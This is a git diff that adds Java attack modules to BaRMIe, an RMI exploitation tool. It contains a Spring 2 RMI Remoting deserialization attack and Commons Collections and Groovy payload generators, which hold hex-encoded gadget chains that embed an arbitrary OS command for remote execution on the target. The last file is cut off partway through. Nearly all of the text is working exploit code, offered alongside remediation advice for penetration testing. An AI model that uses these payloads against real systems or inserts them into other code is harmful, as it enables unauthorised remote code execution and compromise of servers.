a/src/nb/barmie/modes/attack/attacks/SpringFramework/Spring2RmiInvocationHandlerDeser.java b/src/nb/barmie/modes/attack/attacks/SpringFramework/Spring2RmiInvocationHandlerDeser.java new file mode 100644 index 0000000..e10e1e3 --- /dev/null +++ b/src/nb/barmie/modes/attack/attacks/SpringFramework/Spring2RmiInvocationHandlerDeser.java @@ -0,0 +1,76 @@ +package nb.barmie.modes.attack.attacks.SpringFramework; + +import java.rmi.registry.Registry; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; +import nb.barmie.modes.attack.RMIDeserAttack; +import nb.barmie.modes.enumeration.RMIEndpoint; +import org.springframework.remoting.rmi.RmiInvocationHandler; +import org.springframework.remoting.support.RemoteInvocation; + +/*********************************************************** + * Deliver a deserialization payload to a Spring 2 RMI + * Remoting endpoint, via an Object-type property of a + * remote method parameter. + * + * Calls RmiInvocationHandler.invoke() with a + * RemoteInvocation object that contains the payload. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class Spring2RmiInvocationHandlerDeser extends RMIDeserAttack { + /******************* + * Set attack properties. + ******************/ + public Spring2RmiInvocationHandlerDeser() { + super(); + this.setDescription("Spring 2 RMI Remoting deserialization"); + this.setDetailedDescription("Spring RMI Remoting exposes a remote class with an invoke() method that accepts a RemoteInvocation object as a parameter. The RemoteInvocation object has a property that can hold any Object, enabling deserialization attacks."); + this.setRemediationAdvice("[Spring 2 Remoting] " + REMEDIATION_NO_FIX); + } + + /******************* + * Check if the given endpoint can be attacked. + * + * @param ep An enumerated RMI endpoint. + * @return True if we can attack it. + ******************/ + public boolean canAttackEndpoint(RMIEndpoint ep) { + return ep.hasClass("org.springframework.remoting.rmi.RmiInvocationWrapper_Stub"); + } + + /******************* + * Execute the deserialization attack against the given RMI endpoint using + * the given payload. + * + * @param ep The enumerated RMI endpoint. + * @param payload The deserialization payload to deliver. + * @param cmd The command to use for payload generation. + ******************/ + public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException { + RmiInvocationHandler rmih; + RemoteInvocation ri; + Registry reg; + String objName; + + //Find an affected object to target + System.out.println("[~] Finding object to target..."); + objName = ep.findObjectWithClass("org.springframework.remoting.rmi.RmiInvocationWrapper_Stub"); + + //Launch the attack + try { + //Get the fully proxied target object + System.out.println("[~] Getting proxied " + objName + " object..."); + rmih = (RmiInvocationHandler)this.getProxiedObject(ep, objName, payload.getBytes(cmd, 8)); + + //Trigger the attack + System.out.println("[+] Retrieved, invoking invoke() with payload..."); + ri = new RemoteInvocation(); + ri.arguments = new Object[] { this.DEFAULT_MARKER_OBJECT }; + rmih.invoke(ri); + } catch(Exception ex) { + //Check the exception for useful info + this.checkDeserException(ex); + } + } +} diff --git a/src/nb/barmie/modes/attack/deser/payloads/CommonsCollectionsPayload1.java b/src/nb/barmie/modes/attack/deser/payloads/CommonsCollectionsPayload1.java new file mode 100644 index 0000000..65aebef --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/CommonsCollectionsPayload1.java @@ -0,0 +1,67 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for Apache Commons Collections + * 3.1, 3.2, and 3.2.1. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class CommonsCollectionsPayload1 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "737200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000000010000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b707870740001417372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8341899020000707870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e0003707870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000174"; + private final String _footer_chunk = "740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c64707870000000010000000077080000001000000000787878"; + + /******************* + * Set payload properties + ******************/ + public CommonsCollectionsPayload1() { + super(); + this.setName("CommonsCollections1"); + this.setDescription("Apache Commons Collections 3.1, 3.2, 3.2.1"); + this.setRemediationAdvice("[Apache Commons Collections] Update to Apache Commons Collections 3.2.2 or greater."); + this.setAffectedJars(new String[] {"commons-collections-3.1.jar", "commons-collections-3.2.jar", "commons-collections-3.2.1.jar"}); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} diff --git a/src/nb/barmie/modes/attack/deser/payloads/CommonsCollectionsPayload2.java b/src/nb/barmie/modes/attack/deser/payloads/CommonsCollectionsPayload2.java new file mode 100644 index 0000000..b782aaf --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/CommonsCollectionsPayload2.java @@ -0,0 +1,72 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for Apache Commons Collections + * 4.0-alpha1, and 4.0. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class CommonsCollectionsPayload2 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b70787000000002737200426f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e5472616e73666f726d696e67436f6d70617261746f722ff984f02bb108cc0200024c00096465636f726174656471007e00014c000b7472616e73666f726d657274002d4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e73342f5472616e73666f726d65723b707870737200406f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb1370200007078707372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002e5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e73342f5472616e73666f726d65723b7078707572002e5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e5472616e73666f726d65723b39813afb08da3fa5020000707870000000027372003c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b70787076720037636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e5472415846696c74657200000000000000000000007078707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e496e7374616e74696174655472616e73666f726d6572348bf47fa486d03b0200025b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000707870000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c61737371007e00144c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870"; + private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; + private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e001f00000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a0001000200160010000970740001417077010078757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000017672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c617465730000000000000000000000707870770400000003737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007078700000000071007e002978"; + + /******************* + * Set payload properties + ******************/ + public CommonsCollectionsPayload2() { + super(); + this.setName("CommonsCollections2"); + this.setDescription("Apache Commons Collections 4.0-alpha1, 4.0"); + this.setRemediationAdvice("[Apache Commons Collections] Update to Apache Commons Collections 4.1 or greater."); + this.setAffectedJars(new String[] {"commons-collections4-4.0-alpha1.jar", "commons-collections4-4.0.jar"}); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the middle chunk + out.write(this.intToByteArray(765 + cmd.length())); + out.write(this.hexStrToByteArray(this._mid_chunk)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} diff --git a/src/nb/barmie/modes/attack/deser/payloads/GroovyPayload1.java b/src/nb/barmie/modes/attack/deser/payloads/GroovyPayload1.java new file mode 100644 index 0000000..ef24ddf --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/GroovyPayload1.java @@ -0,0 +1,93 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for Apache Groovy versions + * 1.7-beta-1 to 2.4.0-beta-4. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class GroovyPayload1 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "7372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574696c2e4d617070787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372002c6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e766572746564436c6f7375726510233719f715dd1b0200014c000a6d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b707872002d6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e76657273696f6e48616e646c65721023371ad601bc1b0200024c000864656c65676174657400124c6a6176612f6c616e672f4f626a6563743b4c000b68616e646c6543616368657400284c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d61703b707870737200296f72672e636f6465686175732e67726f6f76792e72756e74696d652e4d6574686f64436c6f73757265110e3e848fbdce480200014c00066d6574686f6471007e0009707872001367726f6f76792e6c616e672e436c6f737572653ca0c76616126c5a0200084900096469726563746976654900196d6178696d756d4e756d6265724f66506172616d657465727349000f7265736f6c766553747261746567794c000362637774003c4c6f72672f636f6465686175732f67726f6f76792f72756e74696d652f63616c6c736974652f426f6f6c65616e436c6f73757265577261707065723b4c000864656c656761746571007e000b4c00056f776e657271007e000b5b000e706172616d6574657254797065737400125b4c6a6176612f6c616e672f436c6173733b4c000a746869734f626a65637471007e000b7078700000000000000002000000007074"; + private final String _footer_chunk = "71007e0013757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000070787000000002767200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078707672000c6a6176612e696f2e46696c65042da4450e0de4ff0300014c00047061746871007e00097078707074000765786563757465737200266a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d61706499de129d87293d03000349000b7365676d656e744d61736b49000c7365676d656e7453686966745b00087365676d656e74737400315b4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d6170245365676d656e743b7078700000000000000000757200315b4c6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d6170245365676d656e743b52773f41329b397402000070787000000000707078740008656e747279536574767200126a6176612e6c616e672e4f766572726964650000000000000000000000707870"; + + /******************* + * Set payload properties + ******************/ + public GroovyPayload1() { + super(); + this.setName("Groovy1"); + this.setDescription("Apache Groovy 1.7-beta-1 to 2.4.0-beta-4"); + this.setRemediationAdvice("[Apache Groovy] Update to Apache Groovy 2.4.4 or greater."); + this.setAffectedJars(new String[] { + "groovy-all-1.7-beta-1.jar", "groovy-all-1.7-beta-2.jar", "groovy-all-1.7-rc-1.jar", "groovy-all-1.7-rc-2.jar", "groovy-all-1.7.0.jar", "groovy-all-1.7.1.jar", "groovy-all-1.7.10.jar", + "groovy-all-1.7.11.jar", "groovy-all-1.7.2.jar", "groovy-all-1.7.3.jar", "groovy-all-1.7.4.jar", "groovy-all-1.7.5.jar", "groovy-all-1.7.6.jar", "groovy-all-1.7.7.jar", "groovy-all-1.7.8.jar", + "groovy-all-1.7.9.jar", "groovy-all-1.8.0-beta-1.jar", "groovy-all-1.8.0-beta-2.jar", "groovy-all-1.8.0-beta-3.jar", "groovy-all-1.8.0-beta-4.jar", "groovy-all-1.8.0-rc-1.jar", "groovy-all-1.8.0-rc-2.jar", + "groovy-all-1.8.0-rc-3.jar", "groovy-all-1.8.0-rc-4.jar", "groovy-all-1.8.0.jar", "groovy-all-1.8.1.jar", "groovy-all-1.8.2.jar", "groovy-all-1.8.3.jar", "groovy-all-1.8.4.jar", "groovy-all-1.8.5.jar", + "groovy-all-1.8.6.jar", "groovy-all-1.8.7.jar", "groovy-all-1.8.8.jar", "groovy-all-1.8.9.jar", "groovy-all-1.9.0-beta-1.jar", "groovy-all-1.9.0-beta-2.jar", "groovy-all-1.9.0-beta-3.jar", + "groovy-all-1.9.0-beta-4.jar", "groovy-all-2.0.0-beta-1.jar", "groovy-all-2.0.0-beta-2.jar", "groovy-all-2.0.0-beta-3.jar", "groovy-all-2.0.0-rc-1.jar", "groovy-all-2.0.0-rc-2.jar", + "groovy-all-2.0.0-rc-3.jar", "groovy-all-2.0.0-rc-4.jar", "groovy-all-2.0.0.jar", "groovy-all-2.0.1.jar", "groovy-all-2.0.2.jar", "groovy-all-2.0.3.jar", "groovy-all-2.0.4.jar", "groovy-all-2.0.5.jar", + "groovy-all-2.0.6.jar", "groovy-all-2.0.7.jar", "groovy-all-2.0.8.jar", "groovy-all-2.1.0-beta-1.jar", "groovy-all-2.1.0-rc-1.jar", "groovy-all-2.1.0-rc-2.jar", "groovy-all-2.1.0-rc-3.jar", + "groovy-all-2.1.0.jar", "groovy-all-2.1.1.jar", "groovy-all-2.1.2.jar", "groovy-all-2.1.3.jar", "groovy-all-2.1.4.jar", "groovy-all-2.1.5.jar", "groovy-all-2.1.6.jar", "groovy-all-2.1.7.jar", + "groovy-all-2.1.8.jar", "groovy-all-2.1.9.jar", "groovy-all-2.2.0-beta-1.jar", "groovy-all-2.2.0-beta-2.jar", "groovy-all-2.2.0-rc-1.jar", "groovy-all-2.2.0-rc-2.jar", "groovy-all-2.2.0-rc-3.jar", + "groovy-all-2.2.0.jar", "groovy-all-2.2.1.jar", "groovy-all-2.2.2.jar", "groovy-all-2.3.0-beta-1.jar", "groovy-all-2.3.0-beta-2.jar", "groovy-all-2.3.0-rc-1.jar", "groovy-all-2.3.0-rc-2.jar", + "groovy-all-2.3.0-rc-4.jar", "groovy-all-2.3.0.jar", "groovy-all-2.3.1.jar", "groovy-all-2.3.10.jar", "groovy-all-2.3.11.jar", "groovy-all-2.3.2.jar", "groovy-all-2.3.3.jar", "groovy-all-2.3.4.jar", + "groovy-all-2.3.5.jar", "groovy-all-2.3.6.jar", "groovy-all-2.3.7.jar", "groovy-all-2.3.8.jar", "groovy-all-2.3.9.jar", "groovy-all-2.4.0-beta-1.jar", "groovy-all-2.4.0-beta-2.jar", + "groovy-all-2.4.0-beta-3.jar", "groovy-all-2.4.0-beta-4.jar", "groovy-1.7-beta-1.jar", "groovy-1.7-beta-2.jar", "groovy-1.7-rc-1.jar", "groovy-1.7-rc-2.jar", "groovy-1.7.0.jar", "groovy-1.7.1.jar", + "groovy-1.7.10.jar", "groovy-1.7.11.jar", "groovy-1.7.2.jar", "groovy-1.7.3.jar", "groovy-1.7.4.jar", "groovy-1.7.5.jar", "groovy-1.7.6.jar", "groovy-1.7.7.jar", "groovy-1.7.8.jar", "groovy-1.7.9.jar", + "groovy-1.8.0-beta-1.jar", "groovy-1.8.0-beta-2.jar", "groovy-1.8.0-beta-3.jar", "groovy-1.8.0-beta-4.jar", "groovy-1.8.0-rc-1.jar", "groovy-1.8.0-rc-2.jar", "groovy-1.8.0-rc-3.jar", "groovy-1.8.0-rc-4.jar", + "groovy-1.8.0.jar", "groovy-1.8.1.jar", "groovy-1.8.2.jar", "groovy-1.8.3.jar", "groovy-1.8.4.jar", "groovy-1.8.5.jar", "groovy-1.8.6.jar", "groovy-1.8.7.jar", "groovy-1.8.8.jar", "groovy-1.8.9.jar", + "groovy-1.9.0-beta-1.jar", "groovy-1.9.0-beta-2.jar", "groovy-1.9.0-beta-3.jar", "groovy-1.9.0-beta-4.jar", "groovy-2.0.0-beta-1.jar", "groovy-2.0.0-beta-2.jar", "groovy-2.0.0-beta-3.jar", + "groovy-2.0.0-rc-1.jar", "groovy-2.0.0-rc-2.jar", "groovy-2.0.0-rc-3.jar", "groovy-2.0.0-rc-4.jar", "groovy-2.0.0.jar", "groovy-2.0.1.jar", "groovy-2.0.2.jar", "groovy-2.0.3.jar", "groovy-2.0.4.jar", + "groovy-2.0.5.jar", "groovy-2.0.6.jar", "groovy-2.0.7.jar", "groovy-2.0.8.jar", "groovy-2.1.0-beta-1.jar", "groovy-2.1.0-rc-1.jar", "groovy-2.1.0-rc-2.jar", "groovy-2.1.0-rc-3.jar", "groovy-2.1.0.jar", + "groovy-2.1.1.jar", "groovy-2.1.2.jar", "groovy-2.1.3.jar", "groovy-2.1.4.jar", "groovy-2.1.5.jar", "groovy-2.1.6.jar", "groovy-2.1.7.jar", "groovy-2.1.8.jar", "groovy-2.1.9.jar", "groovy-2.2.0-beta-1.jar", + "groovy-2.2.0-beta-2.jar", "groovy-2.2.0-rc-1.jar", "groovy-2.2.0-rc-2.jar", "groovy-2.2.0-rc-3.jar", "groovy-2.2.0.jar", "groovy-2.2.1.jar", "groovy-2.2.2.jar", "groovy-2.3.0-beta-1.jar", + "groovy-2.3.0-beta-2.jar", "groovy-2.3.0-rc-1.jar", "groovy-2.3.0-rc-2.jar", "groovy-2.3.0-rc-4.jar", "groovy-2.3.0.jar", "groovy-2.3.1.jar", "groovy-2.3.10.jar", "groovy-2.3.11.jar", "groovy-2.3.2.jar", + "groovy-2.3.3.jar", "groovy-2.3.4.jar", "groovy-2.3.5.jar", "groovy-2.3.6.jar", "groovy-2.3.7.jar", "groovy-2.3.8.jar", "groovy-2.3.9.jar", "groovy-2.4.0-beta-1.jar", "groovy-2.4.0-beta-2.jar", + "groovy-2.4.0-beta-3.jar", "groovy-2.4.0-beta-4.jar" + }); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} diff --git a/src/nb/barmie/modes/attack/deser/payloads/GroovyPayload2.java b/src/nb/barmie/modes/attack/deser/payloads/GroovyPayload2.java new file mode 100644 index 0000000..2735115 --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/GroovyPayload2.java @@ -0,0 +1,70 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for Apache Groovy versions + * 2.4.0-rc1 to 2.4.3. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class GroovyPayload2 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "7372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574696c2e4d617070787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372002c6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e766572746564436c6f7375726510233719f715dd1b0200014c000a6d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b707872002d6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e76657273696f6e48616e646c65721023371ad601bc1b0200024c000864656c65676174657400124c6a6176612f6c616e672f4f626a6563743b4c000b68616e646c6543616368657400284c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d61703b707870737200296f72672e636f6465686175732e67726f6f76792e72756e74696d652e4d6574686f64436c6f737572658f1031acf59cf2cc0200014c00066d6574686f6471007e0009707872001367726f6f76792e6c616e672e436c6f737572653ca0c76616126c5a0200084900096469726563746976654900196d6178696d756d4e756d6265724f66506172616d657465727349000f7265736f6c766553747261746567794c000362637774003c4c6f72672f636f6465686175732f67726f6f76792f72756e74696d652f63616c6c736974652f426f6f6c65616e436c6f73757265577261707065723b4c000864656c656761746571007e000b4c00056f776e657271007e000b5b000e706172616d6574657254797065737400125b4c6a6176612f6c616e672f436c6173733b4c000a746869734f626a65637471007e000b7078700000000000000002000000007074"; + private final String _footer_chunk = "71007e0013757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000070787000000002767200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078707672000c6a6176612e696f2e46696c65042da4450e0de4ff0300014c00047061746871007e00097078707074000765786563757465737200266a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d61706499de129d87293d03000349000b7365676d656e744d61736b49000c7365676d656e7453686966745b00087365676d656e74737400315b4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d6170245365676d656e743b7078700000000000000000757200315b4c6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d6170245365676d656e743b52773f41329b397402000070787000000000707078740008656e747279536574767200126a6176612e6c616e672e4f766572726964650000000000000000000000707870"; + + /******************* + * Set payload properties + ******************/ + public GroovyPayload2() { + super(); + this.setName("Groovy2"); + this.setDescription("Apache Groovy 2.4.0-rc1 to 2.4.3"); + this.setRemediationAdvice("[Apache Groovy] Update to Apache Groovy 2.4.4 or greater."); + this.setAffectedJars(new String[] { + "groovy-all-2.4.0.jar", "groovy-all-2.4.0-rc-1.jar", "groovy-all-2.4.0-rc-2.jar", "groovy-all-2.4.1.jar", "groovy-all-2.4.2.jar", "groovy-all-2.4.3.jar", "groovy-2.4.0.jar", "groovy-2.4.0-rc-1.jar", + "groovy-2.4.0-rc-2.jar", "groovy-2.4.1.jar", "groovy-2.4.2.jar", "groovy-2.4.3.jar" + }); + } + + /******************* 